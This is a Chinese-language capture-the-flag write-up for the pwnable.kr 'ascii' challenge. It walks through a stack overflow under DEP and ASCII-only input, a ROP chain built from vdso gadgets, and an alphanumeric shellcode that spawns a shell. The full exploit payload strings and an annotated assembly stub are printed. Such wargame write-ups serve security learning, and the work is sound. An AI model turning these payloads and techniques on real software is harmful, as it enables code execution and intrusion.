pwnable.kr ascii writeup | MottoIN

pwnable.kr ascii writeup

程序只开启了DEP

1

在vuln函数中有一个很明显的栈溢出

2

但是输入时会校验是否为ascii字符

3

既然是本地利用,那就先ulimit -s unlimited(可以让so和vdso的基地址固定),然后调试查看内存布局

4

由于vdso的基地址为0x55557000,因此可以使用vdso的ropgadget,接下来dump出这段内存,然后在vuln的返回处0x08048F0D下断,查看栈上的信息

5

发现栈上有0x80000000,由于程序开启了DEP,而0x80000000这段内存是可执行的,因此可以通过构造ROP链让程序返回到0x80000000,搜索一发ropgadget

6

我这里选择使用两个pop pop pop ret(0xb60)和一个pop pop ret(0xb61),这样就可以让程序返回到0x80000000,接下来就是找ascii shellcode了,网上找到一篇http://inaz2.hatenablog.com/entry/2014/07/11/004655,执行这段shellcode前需要把这段shellcode的地址存到eax,而且最后是返回到栈上执行,所以在真正执行前需要把eax设为这段shellcode的地址,并且把esp指向0x80000000上的一个地址,通过查看vuln函数的栈布局知道局部变量空间大小是0xa8,由此可以构造如下payload

'A' * 0x25 + 'PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx' + '`{UU' + 'A' * 12 + '`{UU' + 'A' * 12 + 'a{UU'

在返回到0x80000000之前查看下寄存器和栈布局

7

可以发现ebx存放的是输入的结尾地址,而真正shellcode的地址为0x80000025,由此可以构造如下payload

j0X40PZJCCCSTY01XP\CCCCCCCCCCCCCCCCCCPYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx`{UUAAAAAAAAAAAA`{UUAAAAAAAAAAAAa{UUAAAAAAA

j0X40PZJCCCSTY01XP\CCCCCCCCCCCCCCCCCC为

push 0x30
pop eax
// eax = 0
xor al, 0x30
push eax
pop edx
// edx = 0xffffffff
dec edx
inc ebx
inc ebx
inc ebx
// ebx = 0x800000da
push ebx
push esp
pop ecx
// 0xda ^ 0xff = 0x25
xor [ecx], dh
// eax = 0x80000025
pop eax
push eax
// esp = 0x80000025
pop esp
// padding
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx
inc ebx

另外还要注意esp要尽量大,不然如果esp小于0x80000000,程序就会出错,最后用这个payload拿到shell

8

 

*作者:bird@Hurricane Security  Mottoin授权发布

原创文章,作者:Moto,如若转载,请注明出处:http://www.mottoin.com/article/reverse/87792.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code